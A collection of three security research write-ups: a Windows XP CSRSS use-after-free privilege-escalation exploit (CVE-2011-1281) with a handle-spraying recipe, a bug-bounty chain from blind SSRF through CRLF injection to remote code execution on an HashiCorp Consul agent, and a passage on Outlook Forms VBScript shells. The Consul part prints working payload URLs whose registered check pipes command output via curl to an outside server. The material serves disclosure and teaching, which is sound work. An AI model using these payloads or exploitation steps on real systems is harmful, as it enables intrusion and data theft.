subsystem process\). What should be noted, however, is the fact that such
console objects still contain client-related information \(i.e. the parent
process handle\), which might have turned invalid since the console allocation
time. Therefore, we might try to achieve interesting results, if we were able
to make CSRSS utilize this outdated information in some way. Let’s take a look
at some options.

In order to implement parts of the console functionality, the CSRSS process
sometimes calls back to the owner \(or clients\) of the console window. More
precisely, callbacks are used in two specific situations:

  * A Control Event is generated in the context of the console. It can be accomplished both programatically – by using the GenerateConsoleCtrlEvent API – or manually – by issuing the CTRL+C or CTRL+Break hotkeys.
  * The user wants to set the window properties, by choosing the “Properties” / “Defaults” option from the console context menu.

The first item is a well documented functionality, as the application itself
is able to register its own callback routines called upon a control event
occurence \(see SetConsoleCtrlHandler\), while the other one is an internal
solution, not referenced in any of the official documents. In order to issue a
callback, the subsystem uses the information present in the console descriptor
– most notably, the client process handle. The entire mechanism has been
thoroughly explained in the _Windows CSRSS Tips & Tricks_ \[6\] article; for
us, there are two essential observations to make:

  1. The CSRSS → Client callbacks are triggered by having CSRSS create a new thread in the context of the client process: 
[code]    .text:75B48504 ; int __stdcall InternalCreateCallbackThread(HANDLE
hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)

    .text:75B48504 _InternalCreateCallbackThread@12 proc near ; CODE XREF: WowExitTask(x)+40p
    .text:75B48504                                         ; CreateCtrlThread(x,x,x,x,x)+10Ep ...
    .text:75B48504
    (...)
    .text:75B485A5                 lea     eax, [ebp+ThreadId]
    .text:75B485A8                 push    eax             ; lpThreadId
    .text:75B485A9                 push    ebx             ; dwCreationFlags
    .text:75B485AA                 push    [ebp+lpParameter] ; lpParameter
    .text:75B485AD                 lea     eax, [ebp+ThreadAttributes]
    .text:75B485B0                 push    [ebp+lpStartAddress] ; lpStartAddress
    .text:75B485B3                 push    ebx             ; dwStackSize
    .text:75B485B4                 push    eax             ; lpThreadAttributes
    .text:75B485B5                 push    [ebp+hProcess]  ; hProcess
    .text:75B485B8                 call    ds:__imp__CreateRemoteThread@28 ; CreateRemoteThread(x,x,x,x,x,x,x)
    (...)
[/code]

  2. The “lpStartAddress” parameter is fully controlled by the parent process of the console.

Investigating the _InternalCreateCallbackThread_ routine x-refs leads to the
following function call chains:

  * winsrv\!ProcessCtrlEvents → winsrv\!CreateCtrlThread → winsrv\!InternalCreateCallbackThread
  * winsrv\!InitWindowClass → winsrv\!ConsoleWindowProc → winsrv\!PropertiesDlgShow → winsrv\!InternalCreateCallbackThread

Both execution paths can be easily triggered by the attacker’s application
\(either by calling GenerateConsoleCtrlEvent, or SendMessage\), thus an
attacker is able to get CSRSS to call CreateRemoteThread with a freed process
handle and a controlled start address\!  
The described behavior can be confirmed by creating a dangling console,
terminating the parent process, choosing the “Properties” option, and watching
the CSRSS API calls:

[code]

    kd> U
    winsrv!InternalCreateCallbackThread+0x17:
    001b:75b7851b ff151c13b675    call    dword ptr [winsrv!_imp__NtOpenProcessToken (75b6131c)]
    001b:75b78521 85c0            test    eax,eax
    001b:75b78523 7d07            jge     winsrv!InternalCreateCallbackThread+0x28 (75b7852c)
    001b:75b78525 33c0            xor     eax,eax
    001b:75b78527 e9c4000000      jmp     winsrv!InternalCreateCallbackThread+0xec (75b785f0)
    001b:75b7852c 56              push    esi
    001b:75b7852d 8b350813b675    mov     esi,dword ptr [winsrv!_imp__NtQueryInformationToken (75b61308)]
    001b:75b78533 57              push    edi
    kd> Dd @esp
    010bfba8  0000051c 00000008 010bfbe8 01ebfa78
    010bfbb8  010bfbd4 7e428dd9 00010564 000000a4
    010bfbc8  010bfedc 009475b8 010bfbec 7e418b26
    010bfbd8  009475b8 010bfbf8 75b617f1 00000000
    010bfbe8  01ebf6d8 00000000 010bfc24 75b8f412
    010bfbf8  0000051c 7c872101 00010564 00000112
    010bfc08  01ec01a0 0000fff8 7e44048f 010bfe64
    010bfc18  7c872101 00010564 00000000 010bfe74
    kd> !handle 51c
    processor number 0, process 821d2da0
    PROCESS 821d2da0  SessionId: 0  Cid: 025c    Peb: 7ffd8000  ParentCid: 021c
    DirBase: 09308040  ObjectTable: e15394b8  HandleCount: 2774.
    Image: csrss.exe
[/code]

[code]

    Handle table at e1222000 with 2774 Entries in use
    051c: free handle, Entry address e17fba38, Next Entry 0000030c
[/code]

Given the above, we end up being able to perform _critical_ operations on
undefined HANDLE values, in the context of a SYSTEM process. That’s certainly
good news; the only problem is – how the flawed behavior can be used to
escalate the privileges of the local user… Let’s find out <img
src='img/Temp2_1304.gif' alt=':-)' />

## Exploitation: Stage One

At the current stage, we can get CSRSS to use a previously-freed handle,
assuming it is a valid Process Object identifier. In order for the exploit to
work, it is required to re-assign the handle to another, highly-privileged
process. The task can be accomplished, if we are able to \(indirectly\)
control the number, types and order of handle allocation and deallocation,
performed by the subsystem process.

The exact free handle management algorithms employed by the Windows kernel has
been described in \[8\]. To make a long story short, the operating system
manages a simple LIFO \(Last In, First Out\) queue called _the free-list_ , on
behalf of CSRSS. Every time a new handle is requested by the process \(through
OpenProcess, OpenThread, or any other API /service\), the first item from the
queue is popped, and assigned to an object. Similarly, when the _NtClose_
service is called from within ring-3, the freed handle value is placed at the
beginning of the queue.

Due to the fact that no tools designed to investigate Windows handle free-
lists could be found on the internet at the time of the research, I decided to
develop a really basic utility on my own. The project is called Windows Handle
Lister, and is available through the Google Code website \[9\]. An exemplary
output of the program is as follows:

[code]

    -=*( Microsoft Windows XP SP3 Handle-Table Lister v0.0.1 by j00ru//vx )*=-
    Loading driver...
    Opening driver...
    Querying for the driver version...
    Driver Version: Microsoft Windows XP Handle-Table Lister v0.0.1 by Matt "j00ru" Jurczyk
    Enter the target PID (less than 65536),
    or the handle table address (greater than 65536): 592
    Setting the current process identifier...
    ----- FREE LIST:
    0x000005b8 ---> 0x00000378 ---> 0x0000016c ---> 0x00000324 ---> 0x000000cc --->
    0x00000220 ---> 0x000005f4 ---> 0x000005c0 ---> 0x000005fc ---> 0x000005f8 --->
    0x00000584 ---> 0x000002c8 ---> 0x000004ac ---> 0x00000600 ---> 0x00000604 --->
    (...)
[/code]

[code]

    0x000007e8 ---> 0x000007ec ---> 0x000007f0 ---> 0x000007f4 ---> 0x000007f8 --->
    0x000007fc ---> 0x00000000 ---> (null)
    
    ----- ALTERNATE FREE LIST:
    0x00000000 ---> (null)
    
    Press enter to obtain a fresh copy of the handle free-lists.
    or Ctrl+C to quit.
[/code]

When a new process is created in the system, a total of three handles are
allocated in the context of CSRSS, in the following order and locations:

  1. Process Object handle, allocated in basesrv\!BaseSrvCreateProcess by NtDuplicateObject
  2. Thread Object handle, allocated in basesrv\!BaseSrvCreateThread by NtOpenThread
  3. Port Object handle, allocated in csrsrv\!CsrApiHandleConnectionRequest by NtAcceptConnectPort

Consequently, the first item present on the current free-list is always
assigned to the newly-spawned process. On the other hand, when a simple
\(single-threaded\) process is terminated, the handles are freed in the
following order:

  1. Thread Object handle
  2. Port Object handle
  3. Process Object handle

Although the above lists give us plenty of information required to reliably
control the free-list, we must keep in mind that the internal state of CSRSS
is highly dependant on the operating system state – every time a new process
or thread is created or terminated, the contents of the handle queue change.
What is more, \(indirectly\) spawning a process with the NT AUTHORITY\SYSTEM
privileges might potentially require creating an unknown \(but reasonably
low\) amount of other processes and threads. In general, it is almost
impossible for an attacker to set up an ideal free-list, with the accuracy of
one handle. In order to bypass the problem, I would like to propose a simple
technique called **_Handle-spraying_**.

The basic concept of the solution is to fill the free-list with store large
amounts of process handles \(associated with consoles\), instead of a single
one. By spraying the queue with, say, 100 items, it doesn’t matter if the
handle assigned to the privileged process is picked as the first, third,
fifteenth or fifty second.

Let’s consider an exemplary queue, made up of handles in the following
pattern:

**Free-list** ⇒ 1 → 2 → 3 → 4 → 5 → … → 1000 → ∅**  
**

After creating 100 simple processes one after another, the lists will look
like the following:

**Process handles** **⇒** 1 → 4 → 7 → 10 → … → 298

**Thread handles** **⇒** 2 → 5 → 8 → 11 → … → 299

**Port handles** **⇒** 3 → 6 → 9 → 12 → … → 300

**Free-list** **⇒** 301 → 302 → 303 → … → 1000 → ∅************************

When each of the created processes creates a single zombie console, we
terminate all of them. Due to the thread / port handle swap, the queue will
have the following form:

**Free-list ⇒** 1 → 3 → 2 → 4 → 6 → … → 1000 → ∅**  
**

Additionally, each of the 100 former process handles \(1, 4, …\) is now
associated with a dangling console, and will be used as the CreateRemoteThread
argument, when triggered. Now, we can manipulate the specific layout of the
free-list by creating and terminating threads in an appropriate order \(CSRSS
keeps tracks of all the processes / threads running on the system, thus it
opens a handle to every execution unit\). For example, we can create 300
threads:

**Thread handles ⇒** 1 → 3 → 2 → 4 → 6 → … → 300************************

**Free-list** **⇒** 301 → 302 → 303 → … → 1000 → ∅

Next then, we shall free 200 handles – the ones previously associated with
threads and ports:

**************Thread handles** **********⇒** 1 → 4 → 7 → 10 → … →
298********************

**Free-list****⇒** 2 → 3 → 5 → 6 → 8 → 9 → … → 1000 → ****∅

Finally, the remaining handles are deallocated:

**Free-list****⇒** 1 → 4 → 7 → 10 → 13 → 16 → … → 1000 → ****∅

Thanks to the re-arrangments, we end up with a fully operational free-list,
with one hundred of the initial items being handles associated with a console
object. After following the above steps, we no longer have to worry if the
privileged process \(used in the exploitation process\) will be assigned a
formed Process Object identifier, or not – because it always will.

## Exploitation – Stage Two

The second problem I encountered, while thinking of possible exploitation
vectors, was the exact way of spawning a highly privileged program from within
a restricted account. The main and mostly considered option was to initiate
the creation of a service process \(e.g. by using the _Help and Support
Center_ , or some other system functionality, which requires a certain service
to work\). After a short period of experiments, I found out that there is a
much simpler solution. On Windows XP, using the **win+u** hotkey for the first
time during the system session typically results in WINLOGON.EXE spawning
several processes, one of which being UTILMAN.EXE with the Local System
rights.

<img src='img/Temp2_1302.gif' width='429' height='388' />

UTILMAN.EXE stands for “Utility Manager”, and is responsible for the Ease of
Access options’ management. More specifically, it can be used to open up other
helper applications, such as Magnifier, Narrator, or On-Screen Keyboard. The
interesting thing about the manager is that it can be used, while the Winlogon
screen \(logon prompt\) is active – hence the extraordinary privileges of the
process. I believe that other, interesting methods of getting the OS to create
a new, privileged process exist; however, the “utilman” one is perfectly valid
in the context of a Proof of Concept – in order to achieve reliable
exploitation in real conditions, “Stage Two” would probably have to be carried
out in a different way.

## Exploitation – Stage Three

The last exploitation stage which must be completed before seeing a shiny,
brand new CMD.EXE with the NT AUTHORITY\SYSTEM security token, is moving the
payload bytes into the memory context of UTILMAN. Obviously, it is not
possible to use the OpenProcess \+ WriteProcessMemory API pair, due to the
fact that processes running under a restricted user’s account are unable to
open handles to programs with System-level rights. Trying to sneak some
executable code through the environment variables is not a viable option,
either; the security token difference makes it impossible to pass data through
that _communication_ channel. Not many options left…

One thing that the two processes \(exploit and UTILMAN\) have in common, is
the desktop these two programs operate on. It turns out that WIN32K.SYS – the
main graphical kernel module on Windows – manages two shared sections \(a per-
session and a per-desktop one\), mapped in the context of every GUI process
\(a process becomes _graphical_ after issuing a call to one of the WIN32K
system calls\). One of these sections contains the characteristics of windows
present on the considered desktop, including arrays of data \(e.g. unicode
windows titles, editbox values and more\). Consequently, a malicious
application is able to store arbitrary bytes in the memory context of a
highly-privileged process in the system, just by manipulating or creating
basic windows on the local desktop.<img src='img/Temp2_1301.gif' width='895'
height='453' />

In order to address ASLR \(Address Space Layout Randomization\), it is even
possible to perform a simple form of memory spraying, by creating multiple
windows with overlong titles. This way, we can set the remote thread’s
_StartAddress_ to a constant value, and simply assume that the shared section
mapping will be large enough to cover the chosen memory area. For the
illustrative purpose of a PoC, 40 windows with a 32kB title each, proved to
guarantee almost 100% success rate on the test machine \(the virtual address
being hit was 0×00606060\). Interestingly, the shared section mapping on
Windows XP is not only readable, but also executable \(see the section
attributes on the above screenshot\)\! This fortunate coincidence settles any
potential disputes about the DEP mechanism being able to disrupt the
exploitation process. On the other hand, the “E” attribute has been removed
from the mapping on Windows Vista, so the technique presented here would most
likely cease to work on newer software configurations.

## Exploitation – Final Notes

Having gone through all the stages needed to achieve a semi-reliable code
execution with escalated privileges, let’s sum up the exploitation steps,
needed to be taken from an exploit developer’s point of view:__

  1. _Spray_ the shared WIN32K section, by creating a sufficient amount of USER objects. The section is then going to be mapped to every process running in the context of the local desktop, thus we can perform this step at this early point,
  2. Create N instances of a process, each of which will create a single zombie console and then go idle, \(\*\)
  3. Kill all N instanes of the processes,
  4. Create 3N local threads, \(\*\*\)
  5. Kill 2N threads \(in the order described in the “Second Stage” section\),
  6. Kill the remaining N threads,
  7. Emulate the win+u key presses, resulting in a new instance of UTILMAN.EXE being created,
  8. Call SendMessage\(HWND\_BROADCAST,WM\_SYSCOMMAND,0xFFF7,0\), triggering the execution of CreateRemoteThread on each of the N freed handles.

\* – by creating a zombie console, we also mean replacing the original
_PropertiesProc_ address \(used in kernel32\!AllocConsole\) with a custom
pointer, as described in \[6\].  
\*\* – the technique is very time-sensitive. If any handle is picked / stored
on the free-list between steps 3 and 4, than steps 5 and 6 might not succeed
in setting up the expected free-list handle layout.

## Funny facts

One particurarly funny fact I have came across, is related to the
_AllocConsole_ service implementation present in the ReactOS project sources:

[code]

    CSR_API(CsrAllocConsole)
    {
        PCSRSS_CONSOLE Console;
        NTSTATUS Status = STATUS_SUCCESS;
    
        (...)
    
        RtlEnterCriticalSection(&ProcessData->HandleTableLock);
        if (ProcessData->Console)
        {
            DPRINT1("Process already has a console\n");
            RtlLeaveCriticalSection(&ProcessData->HandleTableLock);
            return STATUS_INVALID_PARAMETER;
        }
[/code]

As can be seen, the above code doesn’t leak the essential sanity check, which
should be performed at the beginning of the winsrv\!SrvAllocConsole handler,
and therefore is not affected by the described vulnerability. Considering that
a great part of the ReactOS implementation was build based on reverse
engineering of the original Windows images, the author of the above snippet
must have automatically assumed that the check must be performed, or thought
that the CSRSS issue cannot have any serious consequences. Either way, the
developer had the vulnerability right in front of him, and still left it to be
found by someone else, presumably years after. How fortunate <img
src='img/Temp2_1304.gif' alt=':-)' />

## Conclusion

Personally, the discussed vulnerability is an interesting example, showing
that the _use-after-free_ vulnerability class is not only characteristic to
web browsers, but can also be found in regular system software. Successful
exploitation is made possible thanks to various details of the CSRSS component
architecture, such as the restricted program’s ability to directly control and
re-arrange the subsystem’s free-list, or the fact that CSRSS performs
execution-critical tasks on the process handles \(creating new threads in
certain situations\). Interestingly, having found the vulnerability three
years ago, I left it as-is, believing that is just another random local DoS
issue.

As previously mentioned, the presented exploitation techniques are only
confirmed to be valid for Windows XP. In order to improve the EoP reliability,
or port the exploitation to Windows Vista, the developer has to invent
alternate ways of performing Stage Two and Stage Three, or namely:

  * Allocate a new CSRSS handle for a highly-privileged process \(either by triggering NtOpenProcess, NtDuplicateObject or other service\),
  * Fill \(preferably: spray\) this process’es memory areas with controlled bytes – the payload \(preferably: inside pages with the Executable attribute\)

Thank you for reading this exploitation write-up; more interesting articles
are soon going to show up, describing both already fixed issues and possibly
some zero-days \(e.g. a reliable way of bypassing the Driver Signature
Enforcement mechanism\). Stay tuned, and don’t hesitate to leave your
comments, especially including new concepts regarding one of the exploitation
stages\! <img src='img/Temp2_1304.gif' alt=':-)' />

## References

\[1\] CVE-2011-1281. http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2011-1281  
\[2\] Windows CSRSS Write Up: the basics \(part 1/1\).
http://j00ru.vexillium.org/?p=492  
\[3\] Windows CSRSS Write Up: Inter-process Communication \(part 1/3\).
http://j00ru.vexillium.org/?p=502  
\[4\] Windows CSRSS Write Up: Inter-process Communication \(part 2/3\).
http://j00ru.vexillium.org/?p=527  
\[5\] Custom console hosts on Windows 7 \(Hack in the Box Magazine \#4\).
http://magazine.hitb.org/issues/HITB-Ezine-Issue-004.pdf  
\[6\] Windows CSRSS Tips & Tricks \(Hack in the Box Magazine \#5\).
http://magazine.hitb.org/issues/HITB-Ezine-Issue-005.pdf  
\[7\] Windows 7 / Windows Server 2008 R2: Console Host.
http://blogs.technet.com/b/askperf/archive/2009/10/05/windows-7-windows-
server-2008-r2-console-host.aspx  
\[8\] Windows Numeric Handle Allocation in Depth \(Hack in the Box Magazine
\#6\). http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-006.pdf  
\[9\] Windows Handle Lister project @ Google Code,
http://code.google.com/p/windows-handle-lister/

# Pivoting from blind SSRF to RCE with HashiCorp Consul

**Created:**| _5/31/2017 6:22:57 PM_  
---|---  
**Updated:**| _5/31/2017 6:22:57 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

  

# Pivoting from blind SSRF to RCE with HashiCorp Consul

Blog Logo

#### Peter Adkins

on 29 May 2017

  
  
  

7 min read

This post details an example of chaining three relatively trivial
vulnerabilities to achieve remote code execution on a Bug Bounty target. These
vulnerabilities alone would have likely been of low severity, but when used
together they were scored and rewarded together as a High Priority \(P1\)
issue.

This vulnerability was originally reported to `$provider` on the 24th of
April, rewarded as a valid finding on the 27th of April, and patched by the
1st of May. Not only was the communication with both the Bugcrowd ASE and
`$provider` fantastic, a patch was rolled out not long after initial triage
and the vulnerability confirmed resolved.

It’s worth noting at this stage that the HashiCorp Consul ‘misconfiguration’
which was utilized by `$provider` seems to be fairly common - given that the
ACLs were at their shipped default\(s\). This use of Consul via SSRF \(Server
Side Request Forgery\) / RFI \(Remote File Inclusion\) vulnerabilities to
escalate privileges or disclose information has been used during other bounty
programs with a good amount of success.

Mitigating these attacks can be performed by strictly filtering user-provided
URLs, keeping HTTP libraries up-to-date, ensuring that ACLs and authentication
is configured in Consul and other tools that may expose similar RESTful
interfaces \(such as Apache Solr, ElasticSearch, etc\), and, if possible,
don’t fetch remote resources on the client’s behalf in the first place.

## Bring-Your-Own SOAP\!

<img src='img/Temp2_6250.jpg' width='490' height='350' alt='Well, not quite.'
/>

Well, not quite.

While doing an initial walk through of one of the web applications in-scope of
a bounty program run by `$provider` an interesting feature piqued my interest.
This feature allowed a logged in user to provide the URL for an external web
service which would be contacted in order to load some data. Looking further,
the communication between the web application and the user-provided URL was in
a well defined format which utilized SOAP for data exchange. This immediately
put this part of the application at top of the ‘things to look into’ list, as
accepting user-provided URLs and retrieving data on their behalf is
notoriously difficult to implement in a secure manner.

### Go Fish?

Given that a complete URL for an external web service was able to be provided,
I first attempted to use this feature to fetch and return data from a service
that shouldn’t be publicly accessible - being the `instance-id` ‘endpoint’ in
the Amazon EC2 metadata service \(`http://169.254.169.254/latest/meta-
data/instance-id`\).

Unfortunately, it was quickly found that although the service appeared to
successfully query the meta-data service, the code handling the ‘fetch’ was
written in such a way that if the remote service returned an HTTP 200, the
body of the request would be fed directly into an XML parser. As a result of
this design, the web application simply raised a generic error that the remote
service had returned invalid XML.

A subsequent fetch for a document that did _NOT_ exist found that on HTTP 4XX
errors, the response from the HTTP request would be rendered inside of the
error returned to the user. However, while this is neat I couldn’t see any
cases where sensitive data may may be returned AND the response code would be
returned in the 4XX range. After some additional testing, it was found that
even when the remote service responded with valid XML, content was never
returned to the user; only a basic ‘success’ message was ever returned.

### External Entities?

Given that it didn’t seem possible to return the content of a successfully
fetched external resource, the next thought was to attempt to use XXE \(XML
External Entities\) in order to fetch a document from the local machine
\(using a `file:///` URI\) and push it to a remote endpoint using a “blind”
XXE style attack.

<img src='img/Temp2_6249.jpg' width='390' height='300' alt='No dice' />

No dice

Unfortunately, it seemed that the XML parser had been properly configured to
ignore external entities. Boo.

### A wild Consul appears\!

At this stage, it didn’t seem possible to reflect any data fetched from a
remote source. In order to further validate this, I performed a quick check to
see whether a number of different URIs were able to be used with the external
fetch in place of HTTP. The thought was that an another protocol handler might
yield a different result, potentially accidentally leaking data in the error
presented to the user. As part of this testing, a number of URIs were
attempted, including `file:///`, `tcp://`, `gopher://`, and a few others.
Unfortunately all of these URIs appeared to be passed to a Ruby HTTP library
that would simply not perform any request that didn’t have an HTTP / HTTPS
URL.

As one last ditch effort to return _some_ sort of data, a few localhost URLs
were entered to see how the HTTP library would handle non-printable data.

  * The first attempt was for TCP 22 \(`https://127.0.0.1:22`\) which returned a `Connection reset by peer` error. 
    * This was a good indication that there was an SSH service listening which didn’t like our request.
  * The second request was for TCP 5666 \(`http://127.0.0.1:5666`\) which yielded a timeout. 
    * This indicated that there was likely no NRPE \(Nagios Remote Plugin Executor\) agent on the machine, or at least not accessible from `localhost`.
  * The final request was for TCP 8500 \(`http://127.0.0.1:8500`\) which returned the same XML parsing error encountered when a valid HTTP 2XX response was encountered. 
    * This was a good indication that there was likely a Hashicorp Consul agent running on the machine.

### So now what?

At this stage the following was known about the target:

  1. External documents were able be fetched from HTTP / HTTPS sources.
  2. Requests sent from the service were SOAP, and were submitted to the user provided URL via HTTP POST.
  3. XML External Entities were disabled on the XML parser.
  4. There was a local Hashicorp Consul agent on the machine \(potentially\).
  5. Response data was never returned to the user on HTTP 2XX, only on HTTP 4XX.
  6. HTTP 3XX messages were unhandled, and redirections were not followed.
  7. No data was returned on HTTP 2XX responses.
  8. The agent fetching remote URLs was written in Ruby based on the `user-agent`.

Given that I had previously encountered Hashicorp Consul agents in other
bounty programs, I turned to the Consul manual to see whether there were any
endpoints that may assist in escalating this vulnerability into something less
lame.

<img src='img/Temp2_6252.jpg' width='600' height='560' alt='"This lost a LOT
in the translation"' />

"This lost a LOT in the translation"

Luckily, after a bit of searching I found a reference in the Consul
documentation which made mention of an endpoint at `/v1/agent/check/register`;
allowing for registration of a ‘check command’ \(arbitrary shell command\) via
an HTTP PUT request. Although the Consul agent does allow for ACLs to be
applied to these endpoints to limit use, this is **not enabled by default** so
I thought it was worth a try.

In order to test this I fired up a local VM and installed the Consul agent in
order to construct a valid payload and test on a default installation. After a
short while, I had the following payload constructed which would execute a
shell command and pipe the output to a remote server using an HTTP POST every
60 seconds:

[code]

    {
        "id": "DarkarniumTest",
        "name": "DarkarniumTest",
        "script": "/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server",
        "interval": "60s",
        "timeout": "5s"
    }
    
[/code]

Ignoring the fact that I was unable to specify a payload in the target web
application, I also found that the Consul check registration endpoint endpoint
would **NOT** respond to an HTTP POST, only an HTTP PUT.

### So, PUT from a POST?

The final piece of the puzzle to solve was how to construct an HTTP PUT with a
specific JSON body \(the check payload above\) from a script which was
hardcoded to perform HTTP POST with a non user controllable payload. Thinking
back to potential caveats with URL parsing, I remembered encountering issues
in the past with Ruby and Python HTTP libraries not properly handling `\r\n`
\(Carriage-Return, Line-Feed\) characters in URLs and HTTP headers. The result
of this was usually that a user could inject arbitrary HTTP headers or
payloads into predefined HTTP requests by tampering with the URL in the right
way.

To test whether this was able to be used in this case, I constructed an URL
which, if handled incorrectly by the library, should add a `Connection: Keep-
Alive` HTTP header to the request and tack on a subsequent HTTP PUT operation
after the ‘hardcoded’ HTTP POST. This initial test URL looked something like
the following:

[code]

    https://mockbin.org/bin/UUID?Test1 HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /bin/UUID?Test2 HTTP/1.0\r\n\r\n\r\n
    
[/code]

In order to test this, I performed a regular request in the web application
using a browser and then replayed the request using OWASP ZAP in order to
allow for tampering with the payload after the fact.

<img src='img/Temp2_6247.jpg' width='740' height='425' alt='POST / PUT' />

POST / PUT

Success\! The HTTP library appeared to be incorrectly processing the `\r\n`
characters in the URL HTTP GET parameters, and injecting additional HTTP
requests\! As a result, it was confirmed possible to construct arbitrary HTTP
requests after the initial hard-coded HTTP POST using only the URL.

### PUTting it all together.

Now that I had a method to perform arbitrary HTTP requests against a given
server I could finally confirm whether the TCP 8500 listener was indeed an
Hashicorp Consul agent, and whether it had been ACL’d appropriately.

In order to test this, I constructed a URL which used `\r\n` characters to
terminate the original HTTP POST with a `Content-Length` of `1` \(with a
payload of `1`\) and then perform a ‘follow-on’ request containing an HTTP PUT
request to create an ‘HTTP check’ inside of the Consul agent. The constructed
URL looked something like the following:

[code]

    http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 121\r\n\r\n{"id": "BugcrowdDarkarnium","name": "BugcrowdDarkarnium","http": "http://some-server/","interval": "60s","timeout": "5s"}
    
[/code]

After submission of this payload in the URL field I had to wait for up to a
minute to see whether the ‘check’ would fire, as the interval was configured
to 60 seconds to prevent loading up the server with unnecessary HTTP requests.

<img src='img/Temp2_6248.jpg' width='740' height='400' alt='Lookin good!' />

Lookin good\!

A few anxious moments later, I saw a successful HTTP PUT against my testing
server with a User-Agent of `Consul Health Check`, confirming that this was
both a Consul agent and that ACLs weren’t applied to the `check` endpoint\!

In order to confirm whether I **could** use this to pop a shell on the remote
system \(without actually popping a shell, given that this was a bounty
program not a red team exercise\), I modified the request slightly; replacing
the `http` check with a `script` check configured it to pipe the result of
`uname -a` into an HTTP POST request using CURL. The final payload looked
something like the following:

[code]

    http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 195\r\n\r\n\u007B\u0022id\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022name\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022script\u0022: \u0022/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server/writer/writer.php?f=uname\u0022,\u0022interval\u0022: \u002260s\u0022,\u0022timeout\u0022: \u00225s\u0022\u007D
    
[/code]

Once again, I dropped this new payload into the “URL” field and submitted the
payload, waiting anxiouslyt to see whether it’d execute the command and send
the output back over HTTPS…

A few moments later, I heard a ping from my Nginx logs which confirmed that I
had an RCE\!

<img src='img/Temp2_6251.jpg' width='740' height='429' alt='Pop!' />

Pop\!

With that, I constructed a few more requests to remove these injected `check`
commands from Consul, grabbed a beer, finished writing-up the report and
submitted the bug over to the kind folks at `$provider`.

### Thanks

A big thanks to the Bugcrowd ASE that helped triage this bug, and got the
`$provider` folks looped in quickly. I’d also like to thank `$provider` for
the great communication, quick fix and the bounty; keep it up\! :\)

Finally, cheers to @yrp604 for proofreading this write-up and correcting my
terrible grammar. _Edit:_ Cheers to @bradleyfalzon for some additional
spelling fixes ;\)

__

##### Written by

Blog Logo

#### Peter Adkins

* * *
Published 29 May 2017

##### Supported by

Proudly published with  Jekyll

__ You should subscribe to my feed.

All content copyright Peter Adkins © 2017  
All rights reserved.

  

# SensePost | Outlook forms and shells
**Created:**| _5/7/2017 10:26:24 AM_  
---|---  
**Updated:**| _5/7/2017 10:26:24 AM_  
**Author:**| __  
**Tags:**| _Exploit outlook phishing_  
  

  

# Outlook Forms and Shells

Reading time ~15 min

_Posted by etienne on 28 April 2017_

Categories: External, Shells, Tools

Using MS Exchange and Outlook to get a foothold in an organisation, or to
maintain persistence, has been a go to attack method for RedTeams lately. This
attack has typically relied on using Outlook Rules to trigger the shell
execution. Although Ruler makes accomplishing this really easy, it has, up
until now, required a WebDAV server to host our shell/application. In most
cases this is not an issue, but once in a while you run into a restrictive
network that does not allow the initial WebDAV connection to be established.
In such instances, the attack sadly fails. Another downside to Outlook rules
is that we are limited to only providing an application path, and no command-
line arguments, meaning none of our fancy Powershell one-liners can be used.

Lastly, Microsoft has released a patch for Outlook 2016 that disables both our
_Run Application_ and _Run Script_ rules by default.

It was time to find a new attack avenue.

## Attack Surface

I set out to try and find another way to get a shell through Outlook, in the
case of us having valid credentials. The first interesting angle would be to
use the VBA Macro engine built into Outlook. Unfortunately, this is a no go
for a few reasons. Firstly, VBA Macros are not synchronised between Outlook
instances, unlike rules. Secondly, as mentioned above, _Run Script_ rules are
not going to be available going forward. And lastly, more and more
organisations are \(finally\) moving towards a “block all macros” policy.

Fortunately for us, Outlook has a massive attack surface and provides several
other interesting automation features. One of these is _Outlook Forms_. Forms
provide a user/organisation with email customisation options on how it is
presented or composed. This includes features such as autocompleting the _bcc_
field or inserting template text.

All Outlook message objects are actually forms in their own right. The only
difference between an _Appointment Request_ message and a normal _Message_ ,
is the form used to display these in the Outlook UI.

<img src='img/Temp2_7389.png' width='300' height='128' />

Appointment Message, using IPM.Appointment

<img src='img/Temp2_7394.png' width='300' height='168' />

Message form, your standard IPM.Note

Now, this is interesting: you can change the way a message appears or what
fields are available to a user when composing a new message. More information
about forms can be viewed directly from the source, Microsoft:
https://msdn.microsoft.com/en-us/library/office/ff868929.aspx

What if you want to create your own form? It is pretty simple, you need to
enable the _Developer_ tab in the ribbon, and select _Design a Form_. This
opens a form designer where you can move and edit various form fields.

<img src='img/Temp2_7393.png' width='300' height='290' />

Selecting a form to design. This can be based off of existing forms.

<img src='img/Temp2_7397.png' width='300' height='127' />

The form designer.

While looking at this designer, an interesting little area caught my
attention. If you hover over the icon with a form and magnifying-glass you
will get a pop-up message _View Code – Edit the Visual Basic code for a
control._ You may now figure where this is going…

<img src='img/Temp2_7395.png' width='300' height='182' />

The option to edit VBScript

Once you open up the code viewer, you will see a very basic text editor with
two options under the _script_ menu, namely _Event Handler_ and _Object
Browser_. That is it, you need to figure out the rest by yourself \(unlike the
nice VBA editor that ships with Office\). Selecting the _Event Handler_ pick
the _open_ option and VBScript will be inserted to handle the _on\_open_ event
for this form.

<img src='img/Temp2_7396.png' width='300' height='175' />

Creating some script

If you close the script editor, you can now run the form. This is done by
using the _Run this form_ button, found right below the _View Code_ button.
Immediately a MsgBox will pop up, along with the new form\!

I had disabled Macros in Outlook, so how could this code be running?\!

It turns out that this script engine is separate from the VBA Macro script
engine, as explained here: http://drglennn.blogspot.co.uk/2008/07/vbscript-
and-custom-forms-in-outlook.html.

This means, we have a full VBScript engine available to us, and can now start
trying to insert a more juicy payload.

A test payload of:

[code]

    Function Item_Open()
         CreateObject("Wscript.Shell").Run "calc.exe", 0, False
